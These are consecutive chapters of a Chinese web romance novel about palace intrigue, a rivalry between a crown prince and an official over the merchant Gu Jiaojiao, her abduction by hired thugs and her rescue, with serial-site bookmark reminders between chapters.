沈云祉冷眼睨了平王一眼,拉了拉缰绳,喊了一声‘驾’便从平王身边疾驰而过。 骏马嘶鸣,响彻整个长街,马匹带动的风也吹动着平王。 若是换做以往,沈云祉如此态度已然会让平王大怒,但今天,他不只没有生气,反倒笑了起来。 “到底是年轻,一个女子便失了分寸,不堪大用。” 平王自言自语,语气中满是不屑。 喜欢臣妻皎皎请大家收藏:()臣妻皎皎更新速度全网最快。 第三百七十八章 以防万一 沈云祉并不知道,他慌忙出宫时,已然被正巧要入宫的平王发现,所以这一路,他去了哪里,平王都一清二楚。 顾皎皎。 从前,平王倒是小瞧了这个女人,也未曾将她放在眼里,如今看来,却是有大用处的。 很快,京城之中谣言四起,只是这一次,不是什么诟病与诋毁。 谣言所说,太子殿下有一位心上人在宫外,因身份不高,门第不显,不能入宫,虽然现在太子殿下已经有婚约在身,但心中之人,仍是宫外那个女子。 自然,知道内情的人确信这不是谣言,可是这话落到了赵首辅的耳朵里,便是另一番意思。 赵蕴苎刚刚解除禁足不久,就被首辅又叫到了跟前。 她被关了这么久,心情自然不好,坐在那里连头都不愿抬,对什么也提不起兴趣。 “外面的传言,你可听到了?” 首辅还是冷声开口。 赵蕴苎摇头。 “祖父怕是忘记了,孙女一直在府中禁足,怎会知道外面的消息。” 她说这话时,明显是有气,毕竟也是她的祖父让她禁足的。 “莫要耍小孩子脾气,说正事,外面传言,说是太子殿下在宫外心上之人,你可知晓?” 首辅提及正事,自也是严肃了几分。 此时,赵蕴苎才缓缓抬起头,眼中闪过不屑。 “沈云祉倒是有出息了,能让他那个女人被人讨论了?” 听到此话,首辅眉头顿时皱起。 “你知道?你知道是何人?” “不就是顾皎皎吗?第一楼的掌柜,当初沈云祉还为了她闯了平王府。” 赵蕴苎说的不以为然。 其实,沈云祉对顾皎皎上心,赵蕴苎早就知晓,但她并不在乎,反正她对沈云祉也没有什么想法。 而听到顾皎皎这个名字的首辅,却不禁紧张起来,他所调查出来的与他的孙女所说的是同一个人,这也恰巧说明了事情的严重性。 “你既知道,就没想过要做些什么吗?” “做什么?祖父,那女子不过是一介商户之女,身份低贱,于情于理都碍不了我的事,难不成您还怕她抢了我太子妃的位置不成?” 赵蕴苎向来是瞧不起顾皎皎,自也不愿为了沈云祉去争什么抢什么。 何况,她有这首辅府为靠山,有祖父首辅为依靠,地位自是不会动摇。 “糊涂。” 首辅却不这样认为,冷声训斥又继续说了下去。 “但凡是入了心的人,都有威胁,若太子只是心血来潮看上一个女子,大可不必放在心上,但他三番五次为了此女子破例,那就是另一回事,这世道宠妾灭妻的事,还少吗?” 首辅不只是年岁大些,见识的多些,更重要的是,他多少了解沈云祉一些。 沈云祉绝不是忘恩负义,贪图美色之人,他有主见,更有城府,若日后真的将那女子接入宫中,赵蕴苎怕也只空有个名号了。 “祖父多虑了,就算沈云祉再喜欢顾皎皎,也不过是宫外的一个骈头罢了,我朝自建朝以来,何曾听过有哪个嫁过人的女子入宫的?那还不让人笑掉大牙?就算沈云祉肯,那些大臣也不会同意的。” 事不关己时,赵蕴苎也会通透一些。 到底是世家子女,后宅里的这些弯弯绕绕,礼数规矩她还是更为清楚一些。 首辅想来也是这样的道理,只是有这样一件事,总是会让他心里不安。 “话虽如此,也要以防万一,你近来也无事,常去宫里走走。” 赵蕴苎自然祖父的用意,虽然不情愿,却也只能应下。 首辅能如此又快又精准的得到消息,自是平王的功劳。 但这也只是平王的第一步,他要将沈云祉打入尘埃,已然暗中做出了计划。 赵蕴苎回到自己房中,依旧没什么精神。 她一早便派出自己的贴身侍女出去打探有关杜玉荣的消息,但到现在还没有回来,她便有些着急。 下人们送来茶水糕点,都被她赶了出去,谁也不敢再靠近她的屋子。 直到思荣回来。 思荣脸色不好,站到赵蕴苎面前,脸上满是犹豫之色。 “快说啊,到底怎么样?” 赵蕴苎急了,瞪着思荣厉声喊道。 “杜府门房的小厮说,杜公子今日又去顾府了。” 这就是思荣一直迟疑的原因。 赵蕴苎脸色瞬间难看了一不少。 “我就知道,顾皎皎这个狐媚子,无法进宫便开始打荣哥哥的主意,凭借着那张妖媚的脸,三番两次的勾引荣哥哥。” “姑娘,好像不是这样,奴婢还打听到,杜公子,杜公子当众向顾皎皎求亲来着,但顾皎皎没有同意。” 接下来,思荣说了在外听来的事,有关杜玉荣醉酒,在第一楼当众提及,他愿迎娶顾皎皎为杜府正妻,明媒正娶。 “你胡说,荣哥哥家世清白,怎可娶那样的女子,他的父亲也是定然不会同意的,你定是听了谣言。” 赵蕴苎接受不了这些,在房中大喊出声。 “姑娘,奴婢不敢将假消息带回来。” 思荣肯定的说道。 此事发生在第一楼,所以有很多人证明,思荣也是打听了许久,才敢将消息带回,涉及到杜玉荣,思荣自然也是不敢怠慢。 赵蕴苎气急了,将桌上的一套茶具扫落在地,发出巨大的声响。 “不可以,我绝不允许荣哥哥娶那般不堪的女子,绝不可以。” 她说着,目光坚定,似是下定了某种决心。 思荣不得已上前轻声安慰。 “姑娘莫急,那顾皎皎也没有同意,这婚事怕是成不了,何况,姑娘已是太子妃,这……” “什么太子妃?我不在乎,但我不能允许顾皎皎那种人来玷污杜府以及荣哥哥的清名。” 现下,赵蕴苎已然什么都听不进去了。 她必须要让顾皎皎付出代价。 顾府。 这几日外面的传言极盛,为了不引起不必要的麻烦,顾皎皎也没有出门。 顾昭看的出她情绪不高,又想到那日太子来府中,便已经猜到了什么,但他很是懂事,从未过问。 本以为这顾府可以安静些时日,却不想,杜玉荣又来了。 喜欢臣妻皎皎请大家收藏:()臣妻皎皎更新速度全网最快。 第三百七十九章 这女子当真了得 “在下酒醉误事,行事鲁莽,近来流言不断,给顾姑娘带来烦恼,是在下的不是。” 杜玉荣自幼清高,他也有清高的资本,那样好的家世,而他自身更是争气,称一声才子也不为过。 人前显贵,人后也未失半分分寸。 但今日,他坐在顾皎皎面前,低垂着眼眸,脸上满是自责,即使是说话时,也带了歉疚之意。 顾皎皎神色淡然,一抹温和淡然的笑袭上脸庞。 “杜大人不必自责,人无完人,况且,大人之事也并未对我造成什么影响。” 她是当真没有怪过杜玉荣。 至于那些传言,说起来,自顾皎皎离开安阳候府,有关她的各种传言也不曾断过,好的坏的,即使没有杜玉荣,还有其他。 就像现在,外界不是也在盛传,她乃是沈云祉在宫外的姘头吗? 杜玉荣缓缓抬起眼帘,看着眼前这位云淡风轻的女子,心里涌起异样的情绪。 她不难过,也不生气,大抵是因为不曾将他放在心上吧。 “那日虽是醉酒,但是所说之言皆出自真心,顾姑娘可知晓?” 这一次,杜玉荣清醒无比,所说的每一个字都透着郑重。 他投过来的目光诚恳,炙热,也带着一丝期待。 顾皎皎还是在心底暗暗沉下一口气,迎向杜玉荣的目光。 “我知道,其实以我这样的身份,若能嫁与杜大人已然是前世修来的福分了,只是,于我个人而言,已然经历过一场失败的亲事,私心想着,所谓成婚,还是要两情相悦的好。” 她说的委婉,唇边的笑意本是好看,但唇角处的伤痕也是显而易见。 杜玉荣自嘲的笑了笑。 “顾姑娘不曾心悦在下。” “杜大人如明月清风,如皎皎月光,只站在那里便是人中龙凤,我仰慕大人,但并非男女之情。” “那太子殿下呢?” 杜玉荣突然询问。 外界的那些传言,他也不是没有听到过,太子为了顾皎皎行事一而再再而三的破例,为她亲自去往丝织局,为她硬闯平王府,甚至不惜将大臣留于宫中,只为出宫见她。 以前杜玉荣从未往这方面想,而如今想起,却似是处处都是可查的细节。 顾皎皎没想到他会提到沈云祉,神色微怔,转而恢复如常。 “我与太子殿下只是合作的关系,大人不是一早就知道吗?” 她收回目光,微低下头,笑的温婉,却也有不易察觉的异样。 杜玉荣那般在意她,又怎会发现不了她目光里的逃避。 他没有再追问,聪明如他,有些事不说穿,也许他还会有机会。 “我不在意你的过去,也不想听福气不福气的话,若是能与你在一起,于我而言才是福气,自然,我也知你对我无意,不过没关系,我想是我做的不够好,我再等等。” “杜大人……” “顾姑娘不必说,我心意已决,但姑娘也不必有压力,情出自愿,我只是坚持自己心中的执着罢了。” 杜玉荣起身,也不等顾皎皎再说什么,便看了看外面。 “我去看看昭儿的功课。” 说完,他便离开了。 许是该说的话已经说完,许是怕顾皎皎再说出什么让他绝望的言语,总之,他是快步离开了。 顾皎皎手中的茶已凉,眉头却也微微皱起。 她依旧没能让杜玉荣放弃,倒真如传言所说,她成了那狐媚女子了。 莺儿从外面走进来,将一碗热茶与顾皎皎手中的交换。 “姑娘可与杜大人说清楚了?” “怕是说不清楚。” 顾皎皎无奈的叹了口气。 莺儿也不禁摇了摇头。 “这男女之事可真复杂,也真令人头疼,一个人多好,落得清闲自在。” 顾皎皎不禁轻笑,歪着头看她。 “你觉得双瑞如何?” “双瑞?有些傻,倒是极好的人,他每次来给姑娘送东西,都会给我带一些我爱的吃食,樱桃煎,只有城东那家铺子的好吃,他每次都会买。” 莺儿是个直性子,只是依自己想的所说,并未理解顾皎皎的意思。 “他确实是个极好的人,只是跟在太子身边,也常行危险之事,怕是不能常陪你左右。” 顾皎皎喝着茶,沉思着,说出来的话也更像是自言自语。 “姑娘糊涂了,身为男儿自是要以要事为重,再说了,他干嘛陪我,我也不需要啊。” 莺儿眨着一双无辜的大眼睛,一副听不懂顾皎皎话语的意思。 顾皎皎笑了笑。 “是,你说的对,行了,命厨房备午膳吧,做些清淡的,留杜大人用膳。” 不管如何,杜玉荣用心教导顾昭,全身不曾藏私,只这一点,便足以能让她好好谢谢人家了。 到现在为止,顾皎皎都不知道,她顾府里的一切,都被别人看在眼中。 平王府。 孙协兆将眼线送来的消息递给平王。 平王没有急于打开,而斜睨了孙协兆一眼,抬了抬手中的情报。 “你没看过?” 从表面上看,情报并未打开,平王也只是试探一下。 孙协兆立即跪了下来。 “王爷明查,小婿谨记王爷的教诲,自不敢多听多看。” 他确实没有打开那情报的胆子,毕竟之前发生的事已经让他长了一些记性。 “起来吧。” 平王不屑的看了他一眼,而后打开了情报。 情报中所汇报的都是有关顾皎皎的事。 一个是当朝太子,另一个是杜家的嫡公子,这二人可都是这京城中炙手可热的人物,现下他们却都一心扑到这顾皎皎身上。 “这女子当真了得。” 平王将那情报烧掉,鄙夷的说出这句话,在他看来,那二人不过都是被美色迷了眼的无用这辈,上不得台面。 孙协兆听到了平王的话,但未敢说什么,他清楚,那些不是他该知道的。 “近来你事情做的不错,消息也送的及时,是该给你记一功的。” 平王这便是称赞了。 孙协兆立即抱拳行礼。 “这本就是小婿应该做的,不敢居功。” 他心里是得意。 接下来平王也让他再辛苦一些,除了传递情报,还给他分配了其他的差事。 喜欢臣妻皎皎请大家收藏:()臣妻皎皎更新速度全网最快。 第三百八十章 我只是不小心 朝堂之上并不安稳。 沈云祉将杜玉荣有关土地之策的折子退了回去,没有朱批。 身为太子,在大臣并无过错之时,不给折子做朱批,这已然是极大的‘警告’。 “不知那折子上写了什么,竟令太子殿下如此生气?” “我看啊,折子上写了什么并不重要,那杜大人在政事上向来是一丝不苟的,纵有错大不了指出就是了,何至于如此污辱。” “我还听闻,杜家在京中的书坊也在昨日关闭,说是不符合流程,可那书坊可是开了几十年了。” “太子如此,倒是有针对杜家之意,莫不是杜家得罪了殿下?” 下朝后,大臣们不免议论起今日朝堂之事。 杜玉荣一直是殿下的左膀右臂,之前赈灾之事,也是杜玉荣鼎力支持的,而如今,二人似有争斗之意。 这些话,这些事,同样上朝的平王也自是知晓,但也只有他知道沈云祉突然针对杜家是为了什么。 朝阳殿。 沈云祉坐在上方,高高在上,唇角噙着若有若无的笑,但唇边的伤痕却极为明显。 杜玉荣就站在下方,看着那伤,也会不自觉的想到顾皎皎。 同样的伤痕,真是太巧了。 “微臣虽不才,却也知为臣本份,臣不知做错了何事,还请太子殿下明示。” 杜玉荣看似谦和,但却倔强,行礼之时,也迎向沈云祉的目光,不曾有半分退缩。 “错,谈不上,只是玉荣你如今位列朝臣,名声地位都极为重要,言行举止更是要紧,虽然你是无心,但既有了不好的影响,总要改正。” 沈云祉说话时,一直面带笑意,似是他本不在意这样的事,只是无可奈何罢了。 “太子殿下所说的,是臣醉酒之事,那是臣的个人行为,与朝堂之事无关。” 杜玉荣早就知道是这样的结果,不过,他不喜虚与委蛇,万事都该当面说清。 “身正才不会落人话柄,你一时失态,影响的便是你己身与朝堂,怕是别人也会议论,朝中大臣竟如此行径浪荡。” 沈云祉的语气凝重了几分,目光凌厉,是提醒也是警告。 杜玉荣何曾畏惧过权势? 他年纪轻轻位列朝堂,有家族兴盛的影响不假,但更多的是他自身才华。 “殿下这是欲加之罪,何患无辞吧?” 杜玉荣抬起头,清冷的脸上也袭上一层不屑的笑,而后继续说了下去。 “正所谓上梁不正下梁歪,殿下给臣扣上这顶帽子的时候,是否想过自身?” “玉荣,望你三思而后行。” “臣乃直臣,有什么便说什么了,臣醉酒未曾误事,可殿下呢?殿下近来所行之事,可称不上身正。” 到现在为止,二人都已经清楚他们争论的是什么。 与朝政无关,与自身名位无关,与家世背景皆无关,只因为那个女子。 “本宫是太子,行事自有我的道理,杜大人莫不是要与我争高低?” 沈云祉没有了当初的随意。 杜玉荣却显得相对从容。 “微臣只是就事论事,何来高低之说?殿下贵为储君,微臣只是臣子,殿下若是以身份相欺,臣接下就是了,只是殿下,因为私情而牵扯到臣的家族,怕是不妥。” 私情,这两个字说的极好。 杜玉荣荣辱不惊,倒不是真的不在意,而是他不喜沈云祉的行事方式。 此时,沈云祉从上面走下来,立于杜玉荣面前。 “只要有我在,她不会选择你。” “纵使她不选择臣,也断不会做殿下的妾室。” 他们所说的是同一个人。 在外人眼中,顾皎皎虽身份不显,门第不高,但她却有自己的傲气,这也是为何杜玉荣一再强调,他会明媒正娶她的原因。 而这话,落到沈云祉的耳朵里,自是犹如一根刺一般。 他无法给顾皎皎的,偏偏就是这个名正言顺的身份。 “殿下既无事,那臣便先告退了。” 看着沈云祉眸子阴冷,杜玉荣也没有再留下的必要,他行了个礼,后退两步后离开朝阳殿。 没有人看到,沈云祉放在袖子里的手紧握成团。 他厌恶这种感觉,厌恶这种无法由心而论,只能事事隐忍的感觉。 “殿下,时辰不早了,奴才扶您去用膳吧?” 王福一直在大殿之上,看着沈云祉在原地站了许久才上前来低声询问。 他跟在沈云祉身边也算不短了,有些事只是听个一星半点,也大概能猜出些什么,但身为奴才,他从不过问。 沈云祉收回思绪,也将眼中的怒气收敛,才走出了这朝阳殿。 京城之中流言四起,风流韵事,更是这街头巷尾传之最盛的。 顾皎皎,人美有财力,独自一人支撑顾家,照顾幼弟,虽身份低微,却也可被高官子弟相中,甚至要娶为正妻,还与当朝太子藕断丝连,怕也会有飞上枝头变凤凰的一天。 只这些,便也占据了大半个京城的闲言碎语。 第一楼近来的生意也是极为好,有一些未曾见过顾皎皎的都想过来一睹她的容貌。 女子嘛,能得男子青睐,定是因为相貌出众。 至少,那些人是这样想的。 为避是非,顾皎皎近来也没怎么出门。 她将大部分的时间都放在顾昭身上,自然了,她也只是闲而已,顾昭本就是聪慧,又肯用功,从不需要她操心的。 “阿姐莫动。” 顾昭惊呼出声,快跑几步,将顾皎皎手中的砚台小心翼翼的拿了过来,哦不,是抢过来的。 顾皎皎翻了个白眼。 “我只是看看,那么紧张做什么?” “是,前日阿姐只是看看我的笔,所以那笔断了,昨日阿姐想要看看我的画,所以我画了三日的画撕了,这砚台是上次太子殿下赏的,很是昂贵,阿姐就不要看了。” 顾昭一副无奈的样子,将砚台重新放好。 一旁的莺儿和馨儿都不禁笑出了声。 顾皎皎勉强的挤出一丝笑,清咳两声以掩饰自己的尴尬。 “那,我,我只是不小心。” 她说的没错,她每次弄坏顾昭的东西,都是不小。 “阿姐,你近来很闲吗?” 顾昭问的认真。 喜欢臣妻皎皎请大家收藏:()臣妻皎皎更新速度全网最快。 第三百八十一章 有胆量 顾皎皎也是万万没想到,自己会被一个小孩子说‘闲’。 “你这是什么话?阿姐很忙的,每日有那么多账薄要看,还要盯着丝织局那边不能出错,再就是你的功课……” “阿姐。” 顾昭抬起头,轻唤着她,但这个小男孩儿的眼中却满是无奈。 顾皎皎看了看他手中的书。 “好吧好吧,你读书,我出去买条活鱼,等回来我亲自下厨犒劳你。” 她倒是给自己找了一个好借口,再留下去,顾昭怕是要开口赶人了。 走出书房,顾皎皎让莺儿给她拿了一件斗蓬。 “这个时节,江边才有新鲜的活鱼,恰好今日无事,我们去吧。” 顾皎皎心情倒是不错。 莺儿笑了笑。 “是,怪不得小公子说姑娘闲,江边远些,已然有许久没有去过了。” 莺儿开着玩笑,也命人备了马车。 顾皎皎确实已经许久没有去过江边了,离顾府远些,她也没有什么时间去闲逛。 今日天气还算不错,依旧寒冷,但是阳光极好。 冬日江边的渔民依旧不少,或许是季节使然,买鱼的人却是极少。 顾皎皎下了马车,便有不少人将期盼的目光投过来。 她未停下,而是径直走向了一个摊位。 “顾掌柜?顾掌柜怎么亲自来了?需要什么派人来吩咐一声就行。” 摊位里的一位老汉立即跑了出来,看着顾皎皎但欲行礼,被顾皎皎拦下了。 “周伯,近来生意可好?” 顾皎皎笑着跟这位老汉打着招呼。 “托姑娘的福,现下比之前好太多了,虽是冬季,但时常给姑娘的铺子送些鱼,不仅能养家糊口,还有余钱。” 周伯满脸都是喜悦,对顾皎皎更是一味的感激。 “那便好,帮我拿两条鱼吧,肥一些的。” 周伯立即去挑,挑了两条活蹦乱跳的,但在顾皎皎给银两时,他却怎么也不肯收。 “前几年一家子活不下去了,幸得姑娘出手相帮,即使是我往铺子里送鱼,也没有比别人便宜,姑娘吃两条鱼我再收钱,怕是要被人耻笑了。” 看着周伯如此真挚的目光,顾皎皎一时倒不知怎么办了。 “姑娘,收下吧,周伯一直都要找机会感激你呢,你若再给钱,他怕是又要睡不着觉了。” 莺儿在一旁半开着玩笑。 周伯也不停的点头称是。 “那好,那我便收下了。” 顾皎皎也没有再坚持,周伯这才喜笑颜开。 大抵是江边的风过于凶猛,顾姣姣忍不住打了个喷嚏。 “姑娘这几日休息不好,天气寒冷,不如早些回去吧。” 莺儿提醒着。 顾皎皎转头看向那江面,现下看不到波澜壮阔的景象,只是一眼望不到边的冰面,会有些冰窟,是渔民打鱼时留下的。 冬季,万物萧条,只是眼前这般倒也可以让人心胸宽阔。 “回吧。” 顾皎皎收回目光,与周伯辞行后,才上了回程的马车。 这一路上的行人都极少,而在经过一处荒山时,马车却突然停了下来。 顾皎皎不解,掀开车帘,虽只闪了一条缝,便看到有十几个蒙面人将他们马车拦了下来。 “姑娘……” 莺儿刚开口就被顾皎皎捂住了嘴巴。 “莺儿,听我说,他们是冲我来的,如果你想让我活命,就必须听我。” 她说的郑重,也清楚,留给她的时间不多。 莺儿重重的点头。 “稍后我会出去,不管发生什么,你都不要出声,待他们走了,你再回去找人。” 莺儿不想让顾皎皎一个人,忙拼了命的摇头。 “你若跟在一起,我们两个都活不了。” 顾皎皎再一次强调着。 莺儿只得又重重点头,眼中含泪。 此时,外面已有声音响起。 “顾皎皎,你是自己出来,还是我们去请你?” 听到外面的声音,也证实了顾皎皎刚刚的了想法。 她看了一眼莺儿,用车上的毯子将她挡住后,打开车门下了车。 车夫已然死在了一边,那是顾府的小厮,车旁边站着的十几个人个个手握长刀,蒙着面。 “不知何处得罪了各位?若有误会,我们可以好好谈谈。” 顾皎皎下了马车,并未表现出慌乱,而是与那些人周旋一番。 能拦她的马车,自是有目的,有计划的,她没想过自己能跑,若是能探出幕后之人,也是一个收获。 “果然是个美人儿,不只人美,也有胆量,来,带走。” 为首的那个男人冷笑着,根本不与顾皎皎废话,随即便上来几个人将顾皎皎押着走了。 莺儿在车里连大气儿都不敢出,死死的记住顾皎皎的话,外面已经安静下来,她还是等了一会儿才从车里探出脑袋。 车夫的尸体已经不见了,只有这辆马车停在路边,周围一个人也没有。 莺儿不敢再耽搁,也未驾车,而是卸下马,骑马向城中央跑去。 顾皎皎被带到了一个偏僻的屋子,这屋子座落在半山腰,整间屋子里什么也没有。 顾皎皎被他们丢到地上的枯草上,身体传来疼痛,她忍着并未出声。 屋子里燃着火堆,倒也不觉得冷,随后便是肉菜的香味传来。 几个男人围坐在一起,大口的吃着肉。 “老大,这单生意不错啊,不仅有钱拿,有肉吃,还有美人儿。” 一男人开口,屋子里充满笑声,那些人的猥琐的目光也时不时的在顾皎皎身上扫过。 “说起来,这娘们儿确实正,比醉月楼的秋月都要好看,只可惜啊,哈哈……” 从几人的对话中,顾皎皎也听得出来,他们是带着任务的。 拿人钱财,与人消灾,这所谓的江湖规矩,就是十恶不赦。 “你们既抓我过来,定然是受人指使,这样吧,他们给你们多少银钱,我出双倍,可好?” 顾皎皎不能坐以待毙,她试图找一个突破口。 可谁知,这些人根本不为银钱所动。 “姑娘啊,你就省省力气吧,待哥几个吃完,再好好陪你。” 接下来又是一阵放肆的笑声。 由此,顾皎皎也确定,那幕后之人不仅有钱,怕是还身处高位。 喜欢臣妻皎皎请大家收藏:()臣妻皎皎更新速度全网最快。 第三百八十二章 不会要你性命 莺儿回来汇报消息之时,杜玉荣正在顾府,简单的了解情况后,杜玉荣便立即回府,安排小厮一同找人。 “莺儿姐姐,我也去。” 顾昭想要出门,却被莺儿拦了下来。 “公子,你才是姑娘最为担心的,你在家里好好等着,姑娘才安心,如若你出了什么事,那才是要了姑娘的命。” 莺儿将家中的家丁都派了出去,甚至还派人去了府衙。 “可是……” “姑娘身陷危险,定是有人奔她而来,如果是贪图顾家产业,那公子也并不安全,你觉得呢?” 莺儿轻声分析着利害。 顾昭思索片刻才重重点头。 “我听莺儿姐姐的。” 正在此时,馨儿拎着那把长剑从屋子里出来。 “馨儿,你去哪儿?” “搬救兵。” “哪里来的救兵,王吉还未回来,你……” 莺儿的话还未说完,馨儿已经跑开了。 馨儿未走远,而是绕过顾府,走过了顾府后面的一个小院子。 从外面看,这院子似是无人居住,但馨儿却站在院外大喊。 “出来。” 声音落下,那屋门竟真的缓缓打开。 是双剑。 沈云祉的贴身侍卫。 他看着馨儿倒是有意外,但那张冰冷的脸上却并未表现出什么。 “你怎么找到这里的?” 双剑自是认识这丫头的,他时常查探顾皎皎的情况,顾皎皎身边的人他自都是认识。 眼前这丫头看上去年纪不大,他从前倒是并未特别注意过,更不曾想,他给自己找的这个地方,竟会被她发现。 “我家姑娘被绑走了,你是有办法救人的吧?” “什么?” 双剑颇为震惊。 “已经有段时间,望你莫要耽搁。” 说完,馨儿便转身离去。 双剑皱了皱眉,立即行动,他并未回宫,但是第一时间向沈云祉汇报了消息。 沈云祉还是毫不犹豫的出宫了。 大臣不满也罢,首辅不愿也好,他自然不可能安心待在宫中。 顾皎皎被绑走的时间不短了,沈云祉动用自己的势力,查问各处关卡,却都未有所获,最后他将范围缩小在那座荒山上。 那些人带着顾皎皎,如果是入城,或者是在有人烟的地方走动,总会留下痕迹,但现在什么也查不到,就意味着那群人以防万一,根本就没有离开这里。 沈云祉就站在山下,看着眼前的荒山,虽然已是冬季,万物萧条,但山上半人高的杂草丛生,再加之树木,在山下也看不出什么。 “去,派几个身手好的,先去探查。” 沈云祉的眉宇间有愤怒,也有仇恨。 双剑立即带了两个人上山。 “殿下,属下得知杜玉荣公子也在查找顾姑娘的下落。” 双瑞站在一侧,低声汇报。 沈云祉却没什么反应,目光锁定在不远处的那座山上。 杜玉荣自然也是用心的,但他到底只是一个普通官员,所能用的势力有限,待他来到这座山下时,沈云祉早已经带人上山了。 此时,顾皎皎还被关在那间破屋子里。 那几个男人酒足饭饱,一个个便都奔顾皎皎而来。 在这期间,顾皎皎也跟他们谈判,可这些人明显是事先得了令,丝毫不为她的话动摇。 “姑娘,你也别怪我们,谁让你得罪了人呢?不过,你放心,我们哥几个有轻重,不会要你性命。” 那男人说话时,眉眼间已然开始泛着贪婪的光芒。 在这一刻,顾皎皎终是慌了。 “我不知你们受何人指使,但你们要知道,只要对我动手,你们一定跑不掉。” 她的威胁里自是带着恐惧的。 她面前的人却丝毫不惧。 “姑娘就不用为我们操心了,完事儿后,我们哥几个就离开此地,谁也找不到。” 那男人说话间已然失去了耐心,直接向顾皎皎走去。 “你放心,哥哥我啊,一定会好好疼你的。” 顾皎皎的手被绑着,在那男人靠近她时,她还是用尽力气将那男人踹了出去。 这几个男人都愣了一下,随后也被顾皎皎的举动激怒。 “臭婊子,竟然还有功夫在身上,老子真是给你脸了。” 那被踢的男人立即从地上爬起,再也没有了刚才的‘温和’。 他直奔顾皎皎而去,其他几人也上前。 顾皎皎拼命挣扎,甚至还咬了其中一人,但在此时此刻,她已然显得力不从心。 啪! 一记耳光响起,顾皎皎顿时觉得天眩地转,口中也瞬间袭满血腥气。 “老子想要得到的女人还没有不成的,你们几个给我听着,等老子完事,你们一起上,好好伺候伺候这泼辣的娘们儿。” 只听着这些话,顾皎皎就一阵反胃。 她感觉身上有无数只手,衣衫被扯破,这种绝望的感觉如在那地牢里一样,她与几人搏命,但很快头发被人抓住,用力的撞向地面。 只那一瞬间,顾皎皎便觉失去了所有的力气,意识也开始渐渐模糊。 嘭! 门口处传来一声巨响,随之那破旧的门板便直直的倒了下来。 透过几人,顾皎皎看到了一个模糊的影子。 月白色的衣衫,迈着威严的正步,那张不太清晰的脸,却有着她熟悉的轮廓。 是他吗? “沈云祉。” 顾皎皎低声唤着这个名字,而后便什么都不知道了。 屋内的几个男人看着眼前的人,只迟疑了一瞬,便有人冲了上去。 沈云祉却根本没有理会他们,而是径直走向顾皎皎。 啊,啊。 随着几声惨叫,鲜血便洒落在一旁的草堆上,那两个人甚至没能靠近沈云祉,便在双剑的剑下丢了命。 为首的那个人最先反应过来,翻窗而逃,有两人也跟他一同逃跑。 双剑没有去追,而屋子里其余的人,他没有留下一个活口。 沈云祉将自己的斗蓬盖在顾皎皎的身上,将她裹的严严实实后,从地上抱起。 他的手臂很紧,生怕稍稍松手,她就会消失不见一样。 他刚刚听到她在唤他的名字,所以她在紧要关头,念着的人,希望出现的人,还是他。 如此想着,沈云祉心底的自责更甚,眼中的冰冷也愈发明显。 喜欢臣妻皎皎请大家收藏:()臣妻皎皎更新速度全网最快。 第三百八十三章 显而易见 沈云祉抱着顾皎皎踏出屋门。 外面还跪着三个人,双瑞提着剑站在他们身后。 这几个人已经是瑟瑟发抖,一动不敢动,看来是已经见识过双瑞的身手了。 “大侠饶命,我们,我们是有眼不识泰山,我们未伤害这伤害这位姑娘,以后再也不敢了,再也不敢了。” 说话的正是为首的那个人,与刚刚嚣张龌龊的模样,判若两人。 沈云祉没有说话,只是冷眼扫了一眼他身边的那个人。 双瑞手起刀落,一股鲜血直接喷在为首那人的脸上,而他身边的那人连声音都没来得及发,便倒了下去。 那人害怕了,看向沈云祉的目光里满是惊恐,同时,他也明白了,眼前的人想要可不是道歉。 “我说,我全说,是首辅府的赵姑娘,她给了我们银子,只让我们毁了这姑娘,我们糊涂,鬼迷心窍,收了财钱。” 赵蕴苎。 沈云祉心里默念这个名字。 从前他只觉得赵蕴苎出身不凡,嚣张任性了些,世家子女嘛,都会有些傲慢,但如今看来,竟如此狠毒。 “你们绑人的时候不是有十几个吗,现在怎么只有你们七个?” 双瑞在那人身后开口询问。 “还有五人,那五人是赵姑娘的侍卫,将人绑了后他们就离开了。” 为首的那人立即回答,期盼着眼前的人能放他一条生路。 双瑞没有再问什么,而是抬眼看向沈云祉。 “不要让他们死的太痛快。” 沈云祉高昂着头,毫无感情的丢下这句话后,便大步向山下走去。 身后是那人求饶声,而后便是撕心裂肺的喊叫声,他们不知道,双瑞折磨人的法子,远比牢里的刑官厉害多了。 山路难行,但沈云祉每一步都走的极稳,他偶尔会低下头,看着怀中的人。 不过几日的功夫,她又将自己弄伤了,脸颊红肿不说,这次连头都撞破了。 她昏迷着,但看上去却很平静。 沈云祉此刻是后悔的,后悔将她放开,更后悔没有第一时间保护她。 不知过了多久,沈云祉终于走下了山,却在山下撞上了正欲上山的杜玉荣。 他们二人刚因为顾皎皎争吵一番,现下遇到,自是谁也不会退让。 “多谢太子殿下,还是将人交给微臣吧。” 杜玉荣道着谢,脸上却是没什么表情,他上前便欲将顾皎皎接下,但却被沈云祉躲开。 “走开。” 沈云祉冷声开口。 杜玉荣却立即挡住了他的去路。 “殿下三思,殿下已与赵家姑娘定下亲事,没有道理再抓着顾姑娘不放手,还是说,殿下可以给顾姑娘太子妃之位?” 杜玉荣态度坚决,看了看周围后,又继续说道。 “顾姑娘心高气傲,是绝不愿意为妾室的,太子殿下既然给不了她想要的,就莫要再耽搁她,免得让她在外人面前更为难堪。” 他理直气壮,这也是他唯一胜过沈云祉的地方,他可以给顾皎皎一个名正言顺的身份。 杜玉荣的一再阻拦,也终是让沈云祉不耐烦。 他抬起眼帘,眼中袭上一抹冷笑。 “山上那伙贼匪受人指使,不为财,只为色,他们的目的就是为了毁了顾皎皎,你知道那幕后之人是谁吗?” 听着沈云祉的话,杜玉荣还是不禁心惊,对那伙人也是恨到了极点。 沈云祉也不等他说什么,便又继续说了下去。 “是赵蕴苎,用你的道理来说一说,她如此对待顾皎皎,是为了我这个太子,还是为了你杜玉荣?” 这个答案是显而易见的。 杜玉荣深知赵蕴苎对他的执念。 太子与太子妃的这场婚姻,都只是为了利益,而赵蕴苎伤人,当然是为了杜玉荣。 “等你拿出那所谓的身份,怕是顾皎皎已经没命了。” 沈云祉抱着顾皎皎,直接从杜玉荣身边走过,而后上了马车。 杜玉荣在原地站了许久。 他也从未想到,因他才会给顾皎皎带来这样大的伤害。 天色渐暗。 山路之上冷风袭来,使杜玉荣心底更是发寒。 他还是要去看看顾皎皎的情况,即使是他的错,他也会弥补。 只是,当杜玉荣快马追去时才得知,沈云祉并未将顾皎皎送回顾府,而是带回了东宫。 夜幕降临,东宫里却灯火通明。 太医来了一波又一波,每一位都说顾皎皎没有大碍,但沈云祉却不信,甚至将已经出宫的太医叫了回来。 